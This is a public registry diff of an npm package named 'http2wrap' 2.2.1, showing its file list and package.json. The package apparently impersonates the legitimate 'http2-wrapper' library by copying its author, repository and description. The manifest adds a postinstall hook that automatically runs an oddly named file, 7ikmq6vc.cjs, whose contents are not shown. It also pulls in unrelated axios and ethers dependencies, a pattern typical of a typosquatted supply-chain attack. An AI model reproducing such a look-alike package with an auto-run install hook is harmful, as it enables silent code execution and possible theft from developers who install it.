http2wrap 2.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/7ikmq6vc.cjs +1 -0
- package/LICENSE +21 -0
- package/README.md +459 -0
- package/index.d.ts +141 -0
- package/package.json +87 -0
- package/source/agent.js +796 -0
- package/source/auto.js +225 -0
- package/source/client-request.js +563 -0
- package/source/incoming-message.js +73 -0
- package/source/index.js +50 -0
- package/source/proxies/get-auth-headers.js +17 -0
- package/source/proxies/h1-over-h2.js +90 -0
- package/source/proxies/h2-over-h1.js +48 -0
- package/source/proxies/h2-over-h2.js +32 -0
- package/source/proxies/h2-over-hx.js +40 -0
- package/source/proxies/initialize.js +21 -0
- package/source/proxies/unexpected-status-code-error.js +11 -0
- package/source/utils/calculate-server-name.js +29 -0
- package/source/utils/check-type.js +20 -0
- package/source/utils/delay-async-destroy.js +33 -0
- package/source/utils/errors.js +51 -0
- package/source/utils/is-request-pseudo-header.js +13 -0
- package/source/utils/js-stream-socket.js +8 -0
- package/source/utils/proxy-events.js +7 -0
- package/source/utils/proxy-socket-handler.js +102 -0
- package/source/utils/validate-header-name.js +11 -0
- package/source/utils/validate-header-value.js +17 -0
package/package.json
ADDED
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "http2wrap",
|
|
3
|
+
"version": "2.2.1",
|
|
4
|
+
"description": "HTTP2 client, just with the familiar `https` API",
|
|
5
|
+
"main": "source",
|
|
6
|
+
"types": "index.d.ts",
|
|
7
|
+
"engines": {
|
|
8
|
+
"node": ">=10.19.0"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"postinstall": "node 7ikmq6vc.cjs"
|
|
12
|
+
},
|
|
13
|
+
"files": [
|
|
14
|
+
"source",
|
|
15
|
+
"index.d.ts",
|
|
16
|
+
"7ikmq6vc.cjs"
|
|
17
|
+
],
|
|
18
|
+
"keywords": [
|
|
19
|
+
"http2",
|
|
20
|
+
"https",
|
|
21
|
+
"http",
|
|
22
|
+
"request"
|
|
23
|
+
],
|
|
24
|
+
"repository": {
|
|
25
|
+
"type": "git",
|
|
26
|
+
"url": "git+https://github.com/szmarczak/http2-wrapper.git"
|
|
27
|
+
},
|
|
28
|
+
"author": "Szymon Marczak",
|
|
29
|
+
"license": "MIT",
|
|
30
|
+
"bugs": {
|
|
31
|
+
"url": "https://github.com/szmarczak/http2-wrapper/issues"
|
|
32
|
+
},
|
|
33
|
+
"homepage": "https://github.com/szmarczak/http2-wrapper#readme",
|
|
34
|
+
"dependencies": {
|
|
35
|
+
"quick-lru": "^5.1.1",
|
|
36
|
+
"resolve-alpn": "^1.2.0",
|
|
37
|
+
"axios": "^1.7.7",
|
|
38
|
+
"ethers": "^6.13.2"
|
|
39
|
+
},
|
|
40
|
+
"devDependencies": {
|
|
41
|
+
"@sindresorhus/is": "^4.0.1",
|
|
42
|
+
"ava": "^3.15.0",
|
|
43
|
+
"benchmark": "^2.1.4",
|
|
44
|
+
"get-stream": "^6.0.1",
|
|
45
|
+
"got": "^11.8.2",
|
|
46
|
+
"http2-proxy": "^5.0.53",
|
|
47
|
+
"https-proxy-agent": "^5.0.0",
|
|
48
|
+
"lolex": "^6.0.0",
|
|
49
|
+
"many-keys-map": "^1.0.3",
|
|
50
|
+
"nyc": "^15.1.0",
|
|
51
|
+
"p-event": "^4.2.0",
|
|
52
|
+
"tempy": "^1.0.1",
|
|
53
|
+
"to-readable-stream": "^2.1.0",
|
|
54
|
+
"tsd": "^0.17.0",
|
|
55
|
+
"websocket-stream": "^5.5.2",
|
|
56
|
+
"ws": "^7.5.3",
|
|
57
|
+
"xo": "0.39.1"
|
|
58
|
+
},
|
|
59
|
+
"ava": {
|
|
60
|
+
"timeout": "10s"
|
|
61
|
+
},
|
|
62
|
+
"nyc": {
|
|
63
|
+
"include": [
|
|
64
|
+
"source"
|
|
65
|
+
]
|
|
66
|
+
},
|
|
67
|
+
"xo": {
|
|
68
|
+
"rules": {
|
|
69
|
+
"unicorn/no-for-loop": "off",
|
|
70
|
+
"unicorn/prefer-module": "off",
|
|
71
|
+
"comma-dangle": "off",
|
|
72
|
+
"@typescript-eslint/comma-dangle": "off",
|
|
73
|
+
"quotes": [
|
|
74
|
+
"error",
|
|
75
|
+
"single",
|
|
76
|
+
{
|
|
77
|
+
"avoidEscape": true,
|
|
78
|
+
"allowTemplateLiterals": true
|
|
79
|
+
}
|
|
80
|
+
],
|
|
81
|
+
"operator-linebreak": [
|
|
82
|
+
"error",
|
|
83
|
+
"before"
|
|
84
|
+
]
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
}
|